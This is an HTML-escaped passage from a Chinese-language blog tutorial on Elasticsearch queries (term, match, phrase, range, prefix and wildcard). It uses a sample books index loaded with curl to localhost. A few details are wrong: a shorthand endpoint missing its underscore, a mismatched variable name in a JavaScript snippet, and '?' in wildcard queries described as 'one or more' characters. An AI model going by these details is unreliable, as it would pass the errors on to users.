          &quot;type&quot;: &quot;text&quot;,
          &quot;analyzer&quot;: &quot;ik_max_word&quot;
        }
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行好后，将下面的内容保存为 &lt;code&gt;books.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-jsonl&quot;&gt;{&quot;index&quot;:{ &quot;_index&quot;: &quot;books&quot;, &quot;_type&quot;: &quot;IT&quot;, &quot;_id&quot;: &quot;1&quot; }}
{&quot;id&quot;:&quot;1&quot;,&quot;title&quot;:&quot;Java编程思想&quot;,&quot;language&quot;:&quot;java&quot;,&quot;author&quot;:&quot;Bruce Eckel&quot;,&quot;price&quot;:70.20,&quot;publish_time&quot;:&quot;2007-10-01&quot;,&quot;description&quot;:&quot;Java学习必读经典,殿堂级著作！赢得了全球程序员的广泛赞誉。&quot;}
{&quot;index&quot;:{ &quot;_index&quot;: &quot;books&quot;, &quot;_type&quot;: &quot;IT&quot;, &quot;_id&quot;: &quot;2&quot; }}
{&quot;id&quot;:&quot;2&quot;,&quot;title&quot;:&quot;Java程序性能优化&quot;,&quot;language&quot;:&quot;java&quot;,&quot;author&quot;:&quot;葛一鸣&quot;,&quot;price&quot;:46.50,&quot;publish_time&quot;:&quot;2012-08-01&quot;,&quot;description&quot;:&quot;让你的Java程序更快、更稳定。深入剖析软件设计层面、代码层面、JVM虚拟机层面的优化方法&quot;}
{&quot;index&quot;:{ &quot;_index&quot;: &quot;books&quot;, &quot;_type&quot;: &quot;IT&quot;, &quot;_id&quot;: &quot;3&quot; }}
{&quot;id&quot;:&quot;3&quot;,&quot;title&quot;:&quot;Python科学计算&quot;,&quot;language&quot;:&quot;python&quot;,&quot;author&quot;:&quot;张若愚&quot;,&quot;price&quot;:81.40,&quot;publish_time&quot;:&quot;2016-05-01&quot;,&quot;description&quot;:&quot;零基础学python,光盘中作者独家整合开发winPython运行环境，涵盖了Python各个扩展库&quot;}
{&quot;index&quot;:{ &quot;_index&quot;: &quot;books&quot;, &quot;_type&quot;: &quot;IT&quot;, &quot;_id&quot;: &quot;4&quot; }}
{&quot;id&quot;:&quot;4&quot;,&quot;title&quot;:&quot;Python基础教程&quot;,&quot;language&quot;:&quot;python&quot;,&quot;author&quot;:&quot;Helant&quot;,&quot;price&quot;:54.50,&quot;publish_time&quot;:&quot;2014-03-01&quot;,&quot;description&quot;:&quot;经典的Python入门教程，层次鲜明，结构严谨，内容翔实&quot;}
{&quot;index&quot;:{ &quot;_index&quot;: &quot;books&quot;, &quot;_type&quot;: &quot;IT&quot;, &quot;_id&quot;: &quot;5&quot; }}
{&quot;id&quot;:&quot;5&quot;,&quot;title&quot;:&quot;JavaScript高级程序设计&quot;,&quot;language&quot;:&quot;javascript&quot;,&quot;author&quot;:&quot;Nicholas C. Zakas&quot;,&quot;price&quot;:66.40,&quot;publish_time&quot;:&quot;2012-10-01&quot;,&quot;description&quot;:&quot;JavaScript技术经典名著&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后进行导入。如果你安装的 &lt;code&gt;Elasticsearch&lt;/code&gt; 版本小于 &lt;code&gt;6.0&lt;/code&gt;，使用下面的命令进行导入 &lt;code&gt;books.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -XPOST &quot;http://localhost:9200/_bulk?pretty&quot; --data-binary @books.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你的 &lt;code&gt;Elasticsearch&lt;/code&gt; 版本大于 &lt;code&gt;6.0&lt;/code&gt;，则使用下面的命令进行导入:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -H &quot;Content-Type: application/json&quot; -XPOST &quot;http://localhost:9200/_bulk?pretty&quot; --data-binary @books.json
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;基本搜索 {#basic-search}&lt;/h3&gt;
&lt;h4&gt;返回指定 index 的所有文档 {#all-docs-in-index}&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;query&quot;: {
    &quot;match_all&quot;: {}
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以简写为:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/search
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;查找指定字段中包含给定单词的文档 {#field-contains-word}&lt;/h4&gt;
&lt;p&gt;使用 &lt;code&gt;term&lt;/code&gt; 来进行查询，&lt;code&gt;term&lt;/code&gt; 查询不会被解析，只有查询的词和文档中的词精确匹配才会被搜索到，应用场景为: 查询人名、地名等需要精准匹配的需求。&lt;/p&gt;
&lt;p&gt;查询 title 字段中含有&lt;code&gt;思想&lt;/code&gt;的书籍&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;query&quot;: {
    &quot;term&quot;: {
      &quot;title&quot;: &quot;思想&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回如下:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/term-query-single-hit.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;对查询结果进行分页 {#pagination}&lt;/h4&gt;
&lt;p&gt;有时查询时，会返回成千上万的数据，这种情况下，分页的作用就出来了。&lt;/p&gt;
&lt;p&gt;分页有两个属性，分别是 &lt;code&gt;from&lt;/code&gt;、&lt;code&gt;size&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;from: 从何处开始&lt;/li&gt;
&lt;li&gt;size: 返回的文档最大数量&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可以理解为: 我从 &lt;code&gt;from&lt;/code&gt; 位置把剩下的文档全部返回，然后 &lt;code&gt;size&lt;/code&gt; 限制了返回的数量。&lt;/p&gt;
&lt;p&gt;用 js 代码来诠释就是:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const from = 100 - 1; // 数组从 0 开始，需要减一
const size = 10;
const data = [1, 2, 3, ..., 999, 1000];

const fromDate = data.splice(from);
const result = fromData.splice(0, size);
console.log(result) //=&amp;gt; [100, 101, 102, 103, 104, 105, 106, 107, 108, 109]
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;限制返回字段 {#limit-fields}&lt;/h4&gt;
&lt;p&gt;一般我们查询时，都是为了观察某一个字段，而不是想看全部的字段。而如果是默认情况下，&lt;code&gt;Elasticsearch&lt;/code&gt; 会返回的文档的全部字段信息。会对工作造成一定的影响。于是，&lt;code&gt;Elasticsearch&lt;/code&gt; 提供了一个接口，用于限制返回的字段。假设我只需要 &lt;code&gt;title&lt;/code&gt; 和 &lt;code&gt;author&lt;/code&gt; 字段:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;author&quot;],
  &quot;query&quot;: {
    &quot;term&quot;: {
      &quot;title&quot;: &quot;java&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/source-filter-title-author.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;基于最小评分过滤 {#min-score}&lt;/h4&gt;
&lt;p&gt;因为 &lt;code&gt;Elasticsearch&lt;/code&gt; 在做普通的搜索时，是采用相关性进行搜索的，而相关性是由&lt;code&gt;评分&lt;/code&gt; 取决的。所以当我们进行模糊搜索时，&lt;code&gt;Elasticsearch&lt;/code&gt; 可能会返回一些相关性不那么高的文档。所以我们可以通过 &lt;code&gt;Elasticsearch&lt;/code&gt; 提供的接口，来设置一个评分最低标准，低于这个标准的文档，将不会出现在结果页中。&lt;/p&gt;
&lt;p&gt;比如，我想搜索 &lt;code&gt;title&lt;/code&gt; 里包含 &lt;code&gt;java&lt;/code&gt; 的文档，并且评分不低于 &lt;code&gt;0.7&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;min_score&quot;: 0.7,
  &quot;query&quot;: {
    &quot;term&quot;: {
      &quot;title&quot;: &quot;java&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/min-score-filtered-hit.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;高亮关键字 {#highlight}&lt;/h4&gt;
&lt;p&gt;有时，我们会把 &lt;code&gt;Elasticsearch&lt;/code&gt; 结果直接导入到网页中，这个时候需要高亮关键字，让用户更加清楚自己想要的东西，&lt;code&gt;Elasticsearch&lt;/code&gt; 已经提供了一个接口，比如我想让搜索出来的结果中的关键字高亮:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;],
  &quot;min_score&quot;: 0.7,
  &quot;query&quot;: {
    &quot;term&quot;: {
      &quot;title&quot;: &quot;java&quot;
    }
  },
  &quot;highlight&quot;: {
    &quot;fields&quot;: {
      &quot;title&quot;: {}
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/highlight-em-tags.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;默认的标签是 &lt;code&gt;&amp;lt;em&amp;gt;&amp;lt;/em&amp;gt;&lt;/code&gt;，如果你想自定义，可以使用: &lt;code&gt;pre_tags&lt;/code&gt; 和 &lt;code&gt;post_tags&lt;/code&gt;。最终查询代码为:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;],
  &quot;min_score&quot;: 0.7,
  &quot;query&quot;: {
    &quot;term&quot;: {
      &quot;title&quot;: &quot;java&quot;
    }
  },
  &quot;highlight&quot; : {
    &quot;pre_tags&quot; : [&quot;&amp;lt;h1&amp;gt;&quot;],
    &quot;post_tags&quot; : [&quot;&amp;lt;/h1&amp;gt;&quot;],
    &quot;fields&quot; : {
      &quot;title&quot; : {}
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/highlight-h1-tags.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;全文查询 {#full-text-queries}&lt;/h3&gt;
&lt;p&gt;上节基本都是以 &lt;code&gt;term&lt;/code&gt; 进行搜索，但其实 &lt;code&gt;Elasticsearch&lt;/code&gt; 提供了很多搜索方法，本章就是介绍 &lt;code&gt;Elasticsearch&lt;/code&gt; 有哪些搜索方法、分别起的作用。&lt;/p&gt;
&lt;p&gt;本章对 &lt;code&gt;common_terms query&lt;/code&gt;、&lt;code&gt;query_string query&lt;/code&gt;、&lt;code&gt;simple_query_string query&lt;/code&gt; 没有解释说明，因为使用起来较少，而且解释起来较为麻烦。如果想了解，可以参考网上的文章。这里就不在阐述了。&lt;/p&gt;
&lt;h4&gt;match query&lt;/h4&gt;
&lt;p&gt;我们先使用 &lt;code&gt;term&lt;/code&gt; 进行一次查询:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;author&quot;],
  &quot;query&quot;: {
    &quot;term&quot;: {
      &quot;title&quot;: &quot;java编程&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你会发现，其结果为空 (但是数据库里是有这个数据的)，如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/term-query-no-hits.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这是因为 &lt;code&gt;term&lt;/code&gt; 是匹配分词后的词项来进行查询的。比如刚刚我们查的 &lt;code&gt;java编程&lt;/code&gt;，在 &lt;code&gt;Elasticsearch&lt;/code&gt; 进行分词时，会把 &lt;code&gt;java编程&lt;/code&gt; 分为: &lt;code&gt;java&lt;/code&gt; 和 &lt;code&gt;编程&lt;/code&gt;。导致匹配不起来。&lt;/p&gt;
&lt;p&gt;用代码诠释的话就是:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const keyword = &apos;java编程&apos;;
const data = [&apos;java&apos;, &apos;编程&apos;];
const result = data.includes(keyword);
console.log(result) //=&amp;gt; false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在我们把 &lt;code&gt;term&lt;/code&gt; 换成 &lt;code&gt;match&lt;/code&gt; 来尝试下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;author&quot;],
  &quot;query&quot;: {
    &quot;match&quot;: {
      &quot;title&quot;: &quot;java编程&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/match-or-two-hits.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以发现，已经有结果了，但是为什么会有两个呢？&lt;/p&gt;
&lt;p&gt;原因是因为 &lt;code&gt;match&lt;/code&gt; 会对你的关键字进行分词，然后去匹配文档分词后的结果，只要文档里的词项能匹配关键字分词后的任何一个，都会返回到结果里。&lt;/p&gt;
&lt;p&gt;代码诠释:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const data = [&apos;java&apos;, &apos;编程&apos;, &apos;思想&apos;]; // 分词后的文档里的数据
const keywords = [&apos;java&apos;, &apos;编程&apos;, &apos;思想&apos;]; // 分词后的关键字

const result = (() =&amp;gt; {
  for (let x = 0; x &amp;lt; data.length; x++) {
    const dataItem = data[x];
    for (let y = 0; y &amp;lt; keywords.length; y++) {
      const keywordItem = keywords[y];
      if (dataItem === keywordItem) {
        return true;
      }
    }
  }
  return false;
})()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果我只想让它返回一个呢，并且只能用 &lt;code&gt;match&lt;/code&gt; 来做，可以么？&lt;/p&gt;
&lt;p&gt;是可以的，&lt;code&gt;match&lt;/code&gt; 提供了一个属性: &lt;code&gt;operator&lt;/code&gt;。可以用这个来帮助完成这个需求:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;author&quot;],
  &quot;query&quot;: {
    &quot;match&quot;: {
      &quot;title&quot;: {
        &quot;query&quot;: &quot;java编程&quot;,
        &quot;operator&quot;: &quot;and&quot;
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终的结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/match-and-single-hit.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;原理是因为 &lt;code&gt;operator&lt;/code&gt; 属性的值为 &lt;code&gt;and&lt;/code&gt;，这样的话，就告诉 &lt;code&gt;Elasticsearch&lt;/code&gt; 我要让我的关键字都能和文档里的词项匹配上。有一个没匹配上，我都不要。&lt;/p&gt;
&lt;p&gt;如果 &lt;code&gt;operator&lt;/code&gt; 属性的值为 &lt;code&gt;or&lt;/code&gt;，那结果就和之前是一样的了。&lt;/p&gt;
&lt;h4&gt;match_phrase query&lt;/h4&gt;
&lt;p&gt;你可以把这个方法理解为自带了 &lt;code&gt;operator&lt;/code&gt; 属性的值为 &lt;code&gt;and&lt;/code&gt; 的 &lt;code&gt;match&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这个方法有两个限制条件，只有都满足，才会在结果中显示出:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;分词后的所有词项都在该字段中，相当于 &lt;code&gt;operator: &quot;and&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;顺序要一致&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;顺序一致指的是什么呢？&lt;/p&gt;
&lt;p&gt;假设你使用 &lt;code&gt;match&lt;/code&gt; 来匹配: &lt;code&gt;编程java&lt;/code&gt;，那么结果还是和上面一样。所以如果你需要要求顺序一致性，那么你就可以使用 &lt;code&gt;match_phrase&lt;/code&gt; 来做。&lt;/p&gt;
&lt;p&gt;如果使用 &lt;code&gt;编程java&lt;/code&gt; 来搜索:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/match-phrase-reversed-no-hits.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;如果使用 &lt;code&gt;java编程&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/match-phrase-ordered-hit.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;match_phrase_prefix query&lt;/h4&gt;
&lt;p&gt;这个方法和 &lt;code&gt;match_phrase&lt;/code&gt; 方法类似，不过这个方法可以可以把最后一个词项作为前缀进行匹配，想象一下: 用户在搜索栏中搜索 &lt;code&gt;辣鸡UZ&lt;/code&gt;，然后下面列表中出现了 &lt;code&gt;辣鸡UZI&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;首先 &lt;code&gt;match_phrase_prefix&lt;/code&gt; 会先分词为: &lt;code&gt;辣鸡&lt;/code&gt;，然后找了一个文档，再然后匹配 &lt;code&gt;辣鸡&lt;/code&gt; 后面的字符串是否以 &lt;code&gt;UZ&lt;/code&gt; 开头的。这个时候文档满足条件，就返回出结果。可以假想后面一直有一个&lt;code&gt;(.*)&lt;/code&gt;的通配符，如: &lt;code&gt;辣鸡UZ(.*)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;知道原理了，我们现在写一个查询语句:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;author&quot;],
  &quot;query&quot;: {
    &quot;match_phrase_prefix&quot;: {
      &quot;title&quot;: &quot;java编&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/match-phrase-prefix-hit.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;multi_match query&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;multi_match&lt;/code&gt; 是 &lt;code&gt;match&lt;/code&gt; 的升级方法，可以用来搜索多个字段。&lt;/p&gt;
&lt;p&gt;比如我不想只在 &lt;code&gt;title&lt;/code&gt; 里搜索 &lt;code&gt;java编程&lt;/code&gt;，我还想在 &lt;code&gt;description&lt;/code&gt; 里进行搜索。那应该怎么做呢？&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Elasticsearch&lt;/code&gt; 已经提供了 &lt;code&gt;multi_match&lt;/code&gt; 专门用来处理这件事情:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;description&quot;],
  &quot;query&quot;: {
    &quot;multi_match&quot;: {
      &quot;query&quot;: &quot;java编程&quot;,
      &quot;fields&quot;: [&quot;title&quot;, &quot;description&quot;]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/multi-match-title-description.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;并且 &lt;code&gt;multi_match&lt;/code&gt; 还支持通配符。上面的查询语句，可以写成:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;description&quot;],
  &quot;query&quot;: {
    &quot;multi_match&quot;: {
      &quot;query&quot;: &quot;java编程&quot;,
      &quot;fields&quot;: [&quot;title&quot;, &quot;*tion&quot;]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;词项查询 {#term-queries}&lt;/h3&gt;
&lt;p&gt;上一章是全文查询，这一章是词项查询。他们俩的区别在于:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;全文查询: 会对查询语句 (query) 进行分词，然后匹配文档里分词后的数据&lt;/li&gt;
&lt;li&gt;词项查询: 不会对查询语句进行分词&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;term query&lt;/h4&gt;
&lt;p&gt;第一章节已经介绍过了，这里就不再阐述了。&lt;/p&gt;
&lt;h4&gt;terms query&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;terms&lt;/code&gt; 是 &lt;code&gt;term&lt;/code&gt; 查询的升级版本，可以用来查询文档中某一字段，是否包含了其关键字。比如，我想查询 &lt;code&gt;title&lt;/code&gt; 字段中包含了 &lt;code&gt;优化&lt;/code&gt; 或者 &lt;code&gt;基础&lt;/code&gt; 的文档:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;],
  &quot;query&quot;: {
    &quot;terms&quot;: {
      &quot;title&quot;: [&quot;优化&quot;, &quot;基础&quot;]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/terms-query-two-hits.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;range query&lt;/h4&gt;
&lt;p&gt;从名字就能猜测出 &lt;code&gt;range&lt;/code&gt; 是范围匹配。可以匹配 &lt;code&gt;number&lt;/code&gt;、&lt;code&gt;date&lt;/code&gt;、&lt;code&gt;string&lt;/code&gt; (字符串范围查询比较特殊，比较少用，就不再阐述了)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;range&lt;/code&gt; 支持以下查询参数:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;gt: 大于&lt;/li&gt;
&lt;li&gt;gte: 大于等于&lt;/li&gt;
&lt;li&gt;lt: 小于&lt;/li&gt;
&lt;li&gt;lte: 小于等于&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;number 范围查询 {#number-range}&lt;/h5&gt;
&lt;p&gt;现在我想查询价格低于 70，并大于等于 50 的书籍。伪代码既: &lt;code&gt;(price &amp;gt;= 50 &amp;amp;&amp;amp; price &amp;lt; 70)&lt;/code&gt; :&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;price&quot;],
  &quot;query&quot;: {
    &quot;range&quot;: {
      &quot;price&quot;: {
        &quot;gte&quot;: 50,
        &quot;lt&quot;: 70
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/range-price-hits.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h5&gt;date 范围查询 {#date-range}&lt;/h5&gt;
&lt;p&gt;如果我想查询，出版日期在 &lt;code&gt;2016-1-1&lt;/code&gt; 到 &lt;code&gt;2016-12-31&lt;/code&gt; 之间的书籍，那么 DSL 查询语句就如同以下这样:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;publish_time&quot;],
  &quot;query&quot;: {
    &quot;range&quot;: {
      &quot;publish_time&quot;: {
        &quot;gte&quot;: &quot;2016-1-1&quot;,
        &quot;lte&quot;: &quot;2016-12-31&quot;,
        &quot;format&quot;: &quot;yyyy-MM-dd&quot;
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/range-date-hit.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;exists query&lt;/h4&gt;
&lt;p&gt;匹配有这个属性的文档。比如我想找到存在 &lt;code&gt;title&lt;/code&gt; 字段的文档:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: &quot;title&quot;,
  &quot;query&quot;: {
    &quot;exists&quot;: {
      &quot;field&quot;: &quot;title&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果会返回所有的文档。那么如何定义 &lt;code&gt;有这个属性&lt;/code&gt; 呢？&lt;/p&gt;
&lt;p&gt;定义的规则如下:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;{&quot;title&quot;: &quot;js&quot;}&lt;/code&gt;: 存在&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;title&quot;: &quot;&quot;}&lt;/code&gt;: 存在&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;title&quot;: [&quot;js&quot;]}&lt;/code&gt;: 存在&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;title&quot;: [&quot;js&quot;, null]}&lt;/code&gt;: 存在 (有一个值不为空就行)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;title&quot;: null}&lt;/code&gt;: 不存在&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;title&quot;: []}&lt;/code&gt; 不存在&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;title&quot;: [null]}&lt;/code&gt; 不存在&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;foo&quot;: &quot;bar&quot;}&lt;/code&gt;: 不存在&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;perfix query&lt;/h4&gt;
&lt;p&gt;用来匹配文档分词后的词项中的前缀。我们先写个 DSL 进行匹配下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: &quot;description&quot;,
  &quot;query&quot;: {
    &quot;prefix&quot;: {
      &quot;description&quot;: &quot;wi&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其结果如图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/prefix-query-winpython.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;为何 &lt;code&gt;wi&lt;/code&gt; 可以匹配到这个呢？因为 &lt;code&gt;Elasticsearch&lt;/code&gt; 会对 &lt;code&gt;description&lt;/code&gt; 进行分词，其中会把 &lt;code&gt;winPython&lt;/code&gt; 分为 &lt;code&gt;win&lt;/code&gt; &lt;code&gt;Python&lt;/code&gt;。那么这两个就是文档分词后的词项，而 &lt;code&gt;prefix&lt;/code&gt; 匹配每个词项的开头是否匹配，相当于 js 的 &lt;code&gt;startsWith&lt;/code&gt; 方法。用代码诠释的话就是:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const dataItem = [&apos;win&apos;, &apos;python&apos;];
const prefixKeyword = &apos;wi&apos;;

const result = dataItem.some(item =&amp;gt; item.startsWith(prefixKeyword));

console.log(result); //=&amp;gt; true
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;wildcard query&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;wildcard&lt;/code&gt; 为通配符查询。不过目前只支持 &lt;code&gt;*&lt;/code&gt; 和 &lt;code&gt;?&lt;/code&gt;。所代表的含义为:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;*&lt;/code&gt;: 零个或多个&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?&lt;/code&gt;: 一个或多个&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意: &lt;code&gt;wildcard&lt;/code&gt; 不是匹配全文，还是会对文档的字段进行分词，然后应用于每个词项&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;比如，我现在想查询 &lt;code&gt;wi*&lt;/code&gt; 的文档:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: &quot;description&quot;,
  &quot;query&quot;: {
    &quot;wildcard&quot;: {
      &quot;description&quot;: &quot;wi*&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其结果如图:&lt;/p&gt;
